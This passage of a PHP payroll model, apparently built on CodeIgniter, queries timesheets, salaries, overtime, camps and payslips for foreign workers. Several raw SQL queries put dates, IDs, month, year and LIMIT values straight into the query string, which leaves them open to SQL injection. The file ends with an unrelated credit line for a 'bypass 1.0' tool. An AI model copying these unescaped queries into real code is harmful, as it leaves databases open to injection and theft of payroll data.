            emp_non_no_old,
            '' as payroll_generation_camp_id,
            '' as payroll_generation_basic_salary,
            '' as payroll_generation_ot_amount,
            '' as payroll_generation_previous_balance,
            '' as payroll_generation_special_allowance,
            '' as payroll_generation_site_allowance,
            '' as payroll_generation_absent_amount,
            '' as payroll_generation_ticket_refundable,
            '' as payroll_generation_refundable_amount,
            '' as payroll_generation_other_allowance,
            '' as payroll_generation_salary_advance,
            '' as payroll_generation_other_deductions,
            '' as payroll_generation_corrected_salary,
            '' as payroll_generation_payment_status,
            '' as payroll_generation_details_id,
            '' as payroll_generation_total_hrs,
            '' as payroll_generation_payroll_status,
            payroll_client_timesheet_main.client_timesheet_employee_id,
            payroll_internal_timesheet_details.internal_timesheet_employee_id,
            payroll_generation_details.payroll_generation_employee_id,
            client_timesheet_date,
            internal_timesheet_date
        from `employee_non_main`
        LEFT JOIN `payroll_client_timesheet_main` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_client_timesheet_main`.`client_timesheet_employee_id`)
        LEFT JOIN `payroll_internal_timesheet_details` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_internal_timesheet_details`.`internal_timesheet_employee_id`)
        LEFT JOIN `payroll_generation_details` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_generation_details`.`payroll_generation_employee_id` and `payroll_generation_details`.`payroll_generation_id` = '$payroll_generation_id')
        LEFT JOIN `payroll_client_timesheet_details`
             ON (`payroll_client_timesheet_main`.`client_timesheet_main_id` = `payroll_client_timesheet_details`.client_timesheet_main_id)
        GROUP BY `employee_non_main`.`emp_non_id`	
        HAVING ((`payroll_client_timesheet_main`.`client_timesheet_employee_id` IS NOT NULL ) 
	OR (`payroll_internal_timesheet_details`.`internal_timesheet_employee_id` IS NOT NULL)) AND
	(`payroll_generation_details`.`payroll_generation_employee_id` IS NULL ) AND
	((client_timesheet_date BETWEEN '$start_date' AND '$end_date') OR (internal_timesheet_date BETWEEN '$start_date' AND '$end_date'))
        )";
        
        $query.="UNION (SELECT 
            emp_non_full_name,
            emp_non_no,
            emp_non_id,
            emp_non_date_joining,
            emp_non_no_old,
            payroll_generation_camp_id,
            payroll_generation_basic_salary,
            payroll_generation_ot_amount,
            payroll_generation_previous_balance,
            payroll_generation_special_allowance,
            payroll_generation_site_allowance,
            payroll_generation_absent_amount,
            payroll_generation_ticket_refundable,
            payroll_generation_refundable_amount,
            payroll_generation_other_allowance,
            payroll_generation_salary_advance,
            payroll_generation_other_deductions,
            payroll_generation_corrected_salary,
            payroll_generation_payment_status,
            payroll_generation_details_id,
            payroll_generation_total_hrs,
            payroll_generation_payroll_status,
            payroll_client_timesheet_main.client_timesheet_employee_id,
            payroll_internal_timesheet_details.internal_timesheet_employee_id,
            payroll_generation_details.payroll_generation_employee_id,
            client_timesheet_date,
            internal_timesheet_date
        from `employee_non_main`
        LEFT JOIN `payroll_client_timesheet_main` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_client_timesheet_main`.`client_timesheet_employee_id`)
        LEFT JOIN `payroll_internal_timesheet_details` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_internal_timesheet_details`.`internal_timesheet_employee_id`)
        LEFT JOIN `payroll_generation_details` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_generation_details`.`payroll_generation_employee_id` and `payroll_generation_details`.`payroll_generation_id` = '$payroll_generation_id')
        LEFT JOIN `payroll_client_timesheet_details`
             ON (`payroll_client_timesheet_main`.`client_timesheet_main_id` = `payroll_client_timesheet_details`.client_timesheet_main_id)
        GROUP BY `employee_non_main`.`emp_non_id`	
        HAVING ((`payroll_client_timesheet_main`.`client_timesheet_employee_id` IS NOT NULL ) 
	OR (`payroll_internal_timesheet_details`.`internal_timesheet_employee_id` IS NOT NULL)) AND (payroll_generation_payroll_status = 'Incomplete') AND 
	(`payroll_generation_details`.`payroll_generation_employee_id` IS NOT NULL ) AND (`payroll_generation_payment_status` = 'Unpaid') AND 
	((client_timesheet_date BETWEEN '$start_date' AND '$end_date') OR (internal_timesheet_date BETWEEN '$start_date' AND '$end_date'))
        )";
        $Q= $this->db->query($query);
        return $Q->num_rows();
        
    }  
    
    function get_payroll_details($start_date,$end_date,$payroll_generation_id,$per_page,$start)
    {
        $start--;
        $per_page--;
        $data = array();
        $query="(SELECT 
            emp_non_full_name,
            emp_non_no,
            emp_non_id,
            emp_non_date_joining,
            emp_non_no_old,
            '' as payroll_generation_camp_id,
            '' as payroll_generation_basic_salary,
            '' as payroll_generation_ot_amount,
            '' as payroll_generation_previous_balance,
            '' as payroll_generation_special_allowance,
            '' as payroll_generation_site_allowance,
            '' as payroll_generation_absent_amount,
            '' as payroll_generation_ticket_refundable,
            '' as payroll_generation_refundable_amount,
            '' as payroll_generation_other_allowance,
            '' as payroll_generation_salary_advance,
            '' as payroll_generation_other_deductions,
            '' as payroll_generation_corrected_salary,
            'Unpaid' as payroll_generation_payment_status,
            '' as payroll_generation_details_id,
            '' as payroll_generation_total_hrs,
            'Incomplete' as payroll_generation_payroll_status,
            payroll_client_timesheet_main.client_timesheet_employee_id,
            payroll_internal_timesheet_details.internal_timesheet_employee_id,
            payroll_generation_details.payroll_generation_employee_id,
            client_timesheet_date,
            internal_timesheet_date,
            client_timesheet_company_id
        from `employee_non_main`
        LEFT JOIN `payroll_client_timesheet_main` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_client_timesheet_main`.`client_timesheet_employee_id`)
        LEFT JOIN `payroll_internal_timesheet_details` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_internal_timesheet_details`.`internal_timesheet_employee_id`)
        LEFT JOIN `payroll_generation_details` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_generation_details`.`payroll_generation_employee_id` and `payroll_generation_details`.`payroll_generation_id` = '$payroll_generation_id')
        LEFT JOIN `payroll_client_timesheet_details`
             ON (`payroll_client_timesheet_main`.`client_timesheet_main_id` = `payroll_client_timesheet_details`.client_timesheet_main_id)
        
	GROUP BY `employee_non_main`.`emp_non_id`	
        HAVING 
        ((`payroll_client_timesheet_main`.`client_timesheet_employee_id` IS NOT NULL  AND `payroll_client_timesheet_main`.`client_timesheet_company_id` = 0) 
	OR (`payroll_internal_timesheet_details`.`internal_timesheet_employee_id` IS NOT NULL)) 
        AND (`payroll_generation_details`.`payroll_generation_employee_id` IS NULL ) 
        AND (`payroll_generation_details`.`payroll_generation_employee_id` IS NULL ) 
        AND ((client_timesheet_date BETWEEN '$start_date' AND '$end_date') OR (internal_timesheet_date BETWEEN '$start_date' AND '$end_date'))
        )";
        
        $query.="UNION (SELECT 
            emp_non_full_name,
            emp_non_no,
            emp_non_id,
            emp_non_date_joining,
            emp_non_no_old,
            payroll_generation_camp_id,
            payroll_generation_basic_salary,
            payroll_generation_ot_amount,
            payroll_generation_previous_balance,
            payroll_generation_special_allowance,
            payroll_generation_site_allowance,
            payroll_generation_absent_amount,
            payroll_generation_ticket_refundable,
            payroll_generation_refundable_amount,
            payroll_generation_other_allowance,
            payroll_generation_salary_advance,
            payroll_generation_other_deductions,
            payroll_generation_corrected_salary,
            payroll_generation_payment_status,
            payroll_generation_details_id,
            payroll_generation_total_hrs,
            payroll_generation_payroll_status,
            payroll_client_timesheet_main.client_timesheet_employee_id,
            payroll_internal_timesheet_details.internal_timesheet_employee_id,
            payroll_generation_details.payroll_generation_employee_id,
            client_timesheet_date,
            internal_timesheet_date,
            client_timesheet_company_id
        from `employee_non_main`
        LEFT JOIN `payroll_client_timesheet_main` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_client_timesheet_main`.`client_timesheet_employee_id`)
        LEFT JOIN `payroll_internal_timesheet_details` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_internal_timesheet_details`.`internal_timesheet_employee_id`)
        LEFT JOIN `payroll_generation_details` 
             ON (`employee_non_main`.`emp_non_id` = `payroll_generation_details`.`payroll_generation_employee_id` and `payroll_generation_details`.`payroll_generation_id` = '$payroll_generation_id')
        LEFT JOIN `payroll_client_timesheet_details`
             ON (`payroll_client_timesheet_main`.`client_timesheet_main_id` = `payroll_client_timesheet_details`.client_timesheet_main_id)
        
        GROUP BY `employee_non_main`.`emp_non_id`	
        HAVING ((`payroll_client_timesheet_main`.`client_timesheet_employee_id` IS NOT NULL   AND `payroll_client_timesheet_main`.`client_timesheet_company_id` = 0) 
	OR (`payroll_internal_timesheet_details`.`internal_timesheet_employee_id` IS NOT NULL)) AND (payroll_generation_payroll_status = 'Incomplete') AND 
	(`payroll_generation_details`.`payroll_generation_employee_id` IS NOT NULL ) AND (`payroll_generation_payment_status` = 'Unpaid') AND 
	((client_timesheet_date BETWEEN '$start_date' AND '$end_date') OR (internal_timesheet_date BETWEEN '$start_date' AND '$end_date'))
        ) order by emp_non_full_name limit $start,$per_page";
//        echo $query;
//        die();
        $Q= $this->db->query($query);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }     
    function get_no_payroll_generation_details($payroll_generation_id)
    {
        $this->db->where('payroll_generation_details.payroll_generation_id',$payroll_generation_id);
        $where = 'payroll_generation_details_id in (select max(payroll_generation_details_id) from payroll_generation_details where payroll_generation_details.payroll_generation_payroll_status = "Complete" group by payroll_generation_employee_id)';
        $this->db->where($where, NULL, FALSE);
        $this->db->join('employee_non_main','employee_non_main.emp_non_id=payroll_generation_details.payroll_generation_employee_id');
        $this->db->order_by('emp_non_full_name','asc');
        $this->db->order_by('payroll_generation_details_id','asc');
        $Q = $this->db->get('payroll_generation_details');
        return $Q->num_rows();
    }
    
    
    function get_payroll_generation_details($payroll_generation_id,$per_page,$start)
    {
        $start--;
        $per_page--;
        $data=array();
        $this->db->where('payroll_generation_details.payroll_generation_id',$payroll_generation_id);
        $where = 'payroll_generation_details_id in (select max(payroll_generation_details_id) from payroll_generation_details where payroll_generation_details.payroll_generation_payroll_status = "Complete" group by payroll_generation_employee_id)';
        $this->db->where($where, NULL, FALSE);
        $this->db->join('employee_non_main','employee_non_main.emp_non_id=payroll_generation_details.payroll_generation_employee_id');
        $this->db->order_by('emp_non_full_name','asc');
        $this->db->order_by('payroll_generation_details_id','asc');
        $this->db->limit($per_page,$start);
        $Q = $this->db->get('payroll_generation_details');
         //echo $query;
         //die();
       
        
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    
    
    function get_employee_trade_date($employee_id,$start_date,$end_date,$trade_status)
    {
        $data = '';
        $this->db->where('employee_id',$employee_id);
        $this->db->where('trade_change_date >=',$start_date);
        $this->db->where('trade_change_date <=',$end_date);
        if($trade_status==0)
            $this->db->where('trade_change.trade_status',$trade_status);
        $this->db->join('trade','trade.trade_id=trade_change.trade_id');
        $this->db->order_by('trade_change_date','desc');
        $Q = $this->db->get('trade_change');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data .= $row['trade_name'].', ';
                $allotment_date[]=$row['trade_change_date'];
            }
            $Q->free_result();
            if(!in_array($start_date, $allotment_date))
            {
                $this->db->where('employee_id',$employee_id);
                $this->db->join('trade','trade.trade_id=trade_change.trade_id');
                $this->db->where('trade_change_date <=',$start_date);
                $this->db->order_by('trade_change_date','desc');
                $this->db->limit('1');
                $Q = $this->db->get('trade_change');
                if ($Q->num_rows() > 0)
                {
                    foreach ($Q->result_array() as $row)
                    {
                        $data .= $row['trade_name'];
                    }
                }
                $Q->free_result();
            }        
        }
        else
        {
            $this->db->where('employee_id',$employee_id);
            $this->db->join('trade','trade.trade_id=trade_change.trade_id');
            $this->db->where('trade_change_date <=',$start_date);
            $this->db->order_by('trade_change_date','desc');
            $this->db->limit('1');
            $Q = $this->db->get('trade_change');
            if ($Q->num_rows() > 0)
            {
                foreach ($Q->result_array() as $row)
                {
                    $data .= $row['trade_name'];
                }
            }
            $Q->free_result();
        }    
        return rtrim($data,', ');
    }
    
    function get_employee_camp_date($employee_id,$start_date,$end_date)
    {
//        $data = array();
        $this->db->select('camp.camp_id,camp.camp_name');
        $this->db->where('employee_id',$employee_id);
        $this->db->where('camp_allotment_date <=',$end_date);
        $this->db->join('camp','camp.camp_id=camp_allotment.camp_id');
        $this->db->order_by('camp_allotment_date','desc');
        $this->db->limit('1');
        $Q = $this->db->get('camp_allotment');
        $row=$Q->row();
        return $row;

    }
    
    function get_employee_site_date($employee_id,$start_date,$end_date)
    {
        $data = '';
        $this->db->where('client_timesheet_employee_id',$employee_id);
        $this->db->where('client_timesheet_date >=',$start_date);
        $this->db->where('client_timesheet_date <=',$end_date);
        $this->db->where('payroll_client_timesheet_main.client_timesheet_company_id','0');
        $this->db->join('payroll_client_timesheet_details','payroll_client_timesheet_details.client_timesheet_main_id=payroll_client_timesheet_main.client_timesheet_main_id');
        $this->db->join('payroll_client_timesheet','payroll_client_timesheet.client_timesheet_id=payroll_client_timesheet_main.client_timesheet_id');
        $this->db->join('payroll_purchase_order','payroll_purchase_order.purchase_order_id=payroll_client_timesheet.purchase_order_id');
        $this->db->join('site','site.site_id=payroll_purchase_order.purchase_order_site_id');
        $this->db->order_by('client_timesheet_date','desc');
        $this->db->group_by('payroll_client_timesheet.client_timesheet_id');
        $Q = $this->db->get('payroll_client_timesheet_main');
        
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data .= substr($row['site_name'],0,15).', ';
            }
            $Q->free_result();
              
        }
        return rtrim($data,', ');
    }
    
    function get_employee_salary($employee_id,$end_date)
    {
        $data=array();
        $this->db->where('employee_id',$employee_id);
        $this->db->where('salary_increment_date <=',$end_date);
        $this->db->order_by('salary_id','asc');
        $Q = $this->db->get('salary');
        if ($Q->num_rows() > 0)
        {
            $i=1;
            foreach ($Q->result_array() as $row)
            {
                if($i==1)
                    $data['basic_salary']= $row['salary_increment'];
                if($i==$Q->num_rows())
                {
                    $data['basic_salary_new']= $row['salary_increment'];
                    $data['basic_salary_new_id']= $row['salary_id'];
                }    
                $i++;
            }
        }
        else
        {
            $data['basic_salary']= '';
            $data['basic_salary_new']= '';
            $data['basic_salary_new_id']= '';
        }
        
        $Q->free_result();
        return $data;
    }        
   
    function get_employee_working_hours($employee_id,$start_date,$end_date)
    {
        $data1 = array();
   
        $this->db->where('payroll_client_timesheet_main.client_timesheet_employee_id',$employee_id);
        $this->db->where('payroll_client_timesheet_details.client_timesheet_date >=',$start_date);
        $this->db->where('payroll_client_timesheet_main.client_timesheet_company_id',0);
        $this->db->where('payroll_client_timesheet_details.client_timesheet_date <=',$end_date);
        $this->db->join('payroll_client_timesheet_details','payroll_client_timesheet_details.client_timesheet_main_id=payroll_client_timesheet_main.client_timesheet_main_id');
        $this->db->order_by('client_timesheet_date','asc');
        $Q = $this->db->get('payroll_client_timesheet_main');

        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
               if(isset($data1[$row['client_timesheet_date']]))
               {    
                    if(is_numeric($data1[$row['client_timesheet_date']]) && is_numeric($row['client_timesheet_no_hours']))
                        $data1[$row['client_timesheet_date']] += $row['client_timesheet_no_hours'];
                    
                    if(!is_numeric($data1[$row['client_timesheet_date']]) && !is_numeric($row['client_timesheet_no_hours']))
                    {    
                        if($data1[$row['client_timesheet_date']] == "A" || $row['client_timesheet_no_hours']=="A")
                            $data1[$row['client_timesheet_date']] = "A";
                        else
                            $data1[$row['client_timesheet_date']] = $row['client_timesheet_no_hours'];
                    }
                    
                    if(!is_numeric($data1[$row['client_timesheet_date']]) && is_numeric($row['client_timesheet_no_hours']))
                        $data1[$row['client_timesheet_date']] = $row['client_timesheet_no_hours'];
                    
                    if(is_numeric($data1[$row['client_timesheet_date']]) && !is_numeric($row['client_timesheet_no_hours']))
                        $data1[$row['client_timesheet_date']] = $data1[$row['client_timesheet_date']];
               } 
               else 
               {
                   if($row['client_timesheet_no_hours']=="")
                        $data1[$row['client_timesheet_date']] = 0;    
                   else
                        $data1[$row['client_timesheet_date']] = $row['client_timesheet_no_hours'];    
               }
            }
        }
        $Q->free_result();
        
        $data2 = array();
        $this->db->where('payroll_internal_timesheet_details.internal_timesheet_employee_id',$employee_id);
        $this->db->where('payroll_internal_timesheet_details.internal_timesheet_date >=',$start_date);
        $this->db->where('payroll_internal_timesheet_details.internal_timesheet_date <=',$end_date);
        $this->db->order_by('internal_timesheet_date','asc');
        $Q = $this->db->get('payroll_internal_timesheet_details');
        
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data2[$row['internal_timesheet_date']] = $row['internal_timesheet_no_hours'];
            }
        }
        $Q->free_result();
        
        $sums = array();
        foreach (array_keys($data1 + $data2) as $key) {
            $sums[$key] = (isset($data1[$key]) ? $data1[$key] : 0) + (isset($data2[$key]) ? $data2[$key] : 0);
            if(isset($data1[$key]) && isset($data2[$key]))
            {    
                if(!is_numeric($data1[$key]) && !is_numeric($data2[$key]))
                        $sums[$key] = $data1[$key];
                elseif(!is_numeric($data1[$key]) && $data2[$key]=="0")
                        $sums[$key] = $data1[$key];
                elseif(!is_numeric($data2[$key]) && $data1[$key]=="0")
                        $sums[$key] = $data2[$key];
            }
            else if(isset($data1[$key]) && !isset($data2[$key]))
            {
                if(!is_numeric($data1[$key]))
                        $sums[$key] = $data1[$key];
            } 
            else if(isset($data2[$key]) && !isset($data1[$key]))
            {
                if(!is_numeric($data1[$key]))
                        $sums[$key] = $data2[$key];
            } 
        }

        return $sums;
        //return $data;
    }
    
    function get_basic_hours($end_date)
    {
        
        $this->db->where('working_hour_effective_date <=',$end_date);
        $this->db->order_by('working_hour_effective_date','desc');
        $this->db->limit('1');
        $Q = $this->db->get('payroll_working_hour');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data= $row['working_hours'];
            }
        }
        $Q->free_result();
        return $data;
    }
    
    function get_ot_perc($end_date)
    {
        
        $this->db->where('overtime_calculation_effective_date <=',$end_date);
        $this->db->order_by('overtime_calculation_effective_date','desc');
        $this->db->limit('1');
        $Q = $this->db->get('payroll_overtime_calculation');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data= $row['overtime_calculation_perc'];
            }
        }
        $Q->free_result();
        return $data;
    }
    
    function get_timesheet_rate($employee_id,$start_date,$end_date)
    {
        $data=array();
        $data['basic_rate'] = 0;
        $data['total_amount'] = 0;
        $this->db->where('payroll_client_timesheet_main.client_timesheet_employee_id',$employee_id);
        $this->db->where('payroll_client_timesheet_details.client_timesheet_date >=',$start_date);
        $this->db->where('payroll_client_timesheet_details.client_timesheet_date <=',$end_date);
        $this->db->join('payroll_client_timesheet_details','payroll_client_timesheet_details.client_timesheet_main_id=payroll_client_timesheet_main.client_timesheet_main_id');
        $this->db->group_by('payroll_client_timesheet_main.client_timesheet_main_id');
        $this->db->order_by('client_timesheet_date','asc');
        $Q = $this->db->get('payroll_client_timesheet_main');

        if ($Q->num_rows() > 0)
        {
            $i=1;
            foreach ($Q->result_array() as $row)
            {
                $temp = $row['basic_rate'];
                $data['basic_rate'] += $row['basic_rate'];
                if($row['ot_rate']==0)
                    $row['ot_rate']=$temp;
                if($row['hot_rate']==0)
                    $row['hot_rate']=$temp;
                $data['total_amount'] += $temp*$row['normal_hours'] + $row['ot_rate']*$row['ot_hours'] + $row['hot_rate']*$row['hot_hours'];;
                $i++;
            }
            $data['basic_rate']=$data['basic_rate']/($i-1);
        }
        
        return $data;
    }
    
    function get_payroll_generation_details_display($payroll_generation_id,$camp_id='',$trade_id='')
    {
        $data=array();
        if($trade_id!='')
             $this->db->where('emp_non_trade_id',$trade_id);
        
        if($camp_id!='')
             $this->db->where('payroll_generation_camp_id',$camp_id);
        $this->db->where('payroll_generation_details.payroll_generation_id',$payroll_generation_id);
        $where = '(payroll_generation_details_id in (select max(payroll_generation_details_id) from payroll_generation_details where payroll_generation_details.payroll_generation_payroll_status = "Complete" group by payroll_generation_employee_id)';
        $where .= ' or payroll_generation_details_id in (select min(payroll_generation_details_id) from payroll_generation_details where payroll_generation_details.payroll_generation_payroll_status = "Complete" group by payroll_generation_employee_id))';
        $this->db->where($where, NULL, FALSE);
        $this->db->join('employee_non_main','employee_non_main.emp_non_id=payroll_generation_details.payroll_generation_employee_id');
        $this->db->order_by('emp_non_full_name','asc');
        $this->db->order_by('payroll_generation_details_id','asc');
        $Q = $this->db->get('payroll_generation_details');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    
    function get_payroll_generation_details_payment($payroll_generation_id)
    {
        $data=array();
        $this->db->where('payroll_generation_details.payroll_generation_id',$payroll_generation_id);
        $where = 'payroll_generation_details_id in (select max(payroll_generation_details_id) from payroll_generation_details where payroll_generation_details.payroll_generation_payroll_status = "Complete" group by payroll_generation_employee_id)';
        $this->db->where($where, NULL, FALSE);
        $this->db->join('employee_non_main','employee_non_main.emp_non_id=payroll_generation_details.payroll_generation_employee_id');
        
        $this->db->order_by('payroll_generation_details_id','asc');
        $Q = $this->db->get('payroll_generation_details');
        
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    
    function get_payroll_generation_details_payment_display($payroll_generation_id)
    {
        $data=array();
        $this->db->where('payroll_generation_details.payroll_generation_id',$payroll_generation_id);
        $where = 'payroll_generation_details.payroll_generation_details_id in (select max(payroll_generation_details_id) from payroll_generation_details where payroll_generation_details.payroll_generation_payment_status = "Paid" group by payroll_generation_employee_id)';
        $this->db->where($where, NULL, FALSE);
        $this->db->join('payroll_generation_details','payroll_generation_details.payroll_generation_details_id=payroll_salary_payment.payroll_generation_details_id');
        $this->db->join('employee_non_main','employee_non_main.emp_non_id=payroll_generation_details.payroll_generation_employee_id');
        $this->db->order_by('payroll_salary_payment_id','asc');
        $Q = $this->db->get('payroll_salary_payment');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    
    
    function get_employee_payroll_hours($payroll_generation_details_id)
    {
        $data = array();
   
        $this->db->where('payroll_generation_details_id',$payroll_generation_details_id);
        $this->db->order_by('payroll_generation_date','asc');
        $Q = $this->db->get('payroll_generation_date');

        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
               $data[$row['payroll_generation_date']]=$row['payroll_generation_no_hours'].'~'.$row['payroll_generation_reason'];
            }
                    
        }
        $Q->free_result();
        return $data;
        
    }
    
    function get_payslip_details($payroll_generation_details_id)
    {
        $this->db->where('payroll_generation_details.payroll_generation_details_id',$payroll_generation_details_id);
        $this->db->join('payroll_generation','payroll_generation.payroll_generation_id=payroll_generation_details.payroll_generation_id');
        $this->db->join('employee_non_main','employee_non_main.emp_non_id=payroll_generation_details.payroll_generation_employee_id');
        $this->db->join('trade','trade.trade_id=employee_non_main.emp_non_trade_id');
        $this->db->join('sponsor','sponsor.sponsor_id=employee_non_main.emp_non_sponsor_id');
        $Q = $this->db->get('payroll_generation_details');
        $row=$Q->row();
        return $row;
    }
    
    function get_special_holiday($start_date,$end_date)
    {
        $data=array();
        $this->db->where('special_holiday_date >=',$start_date);
        $this->db->where('special_holiday_date <=',$end_date);
        $this->db->order_by('special_holiday_date','asc');
        $Q = $this->db->get('payroll_special_holiday');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    
    function get_payroll_generation_id($month,$year)
    {
        
        $data=$this->db->query("select payroll_generation_id from payroll_generation where payroll_generation_month ='". $month ."' and payroll_generation_year ='". $year ."'");
        $result= $data->row();
        if($result)
        {
            return $result->payroll_generation_id;
        }
        else
        {
            return "";
        }
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net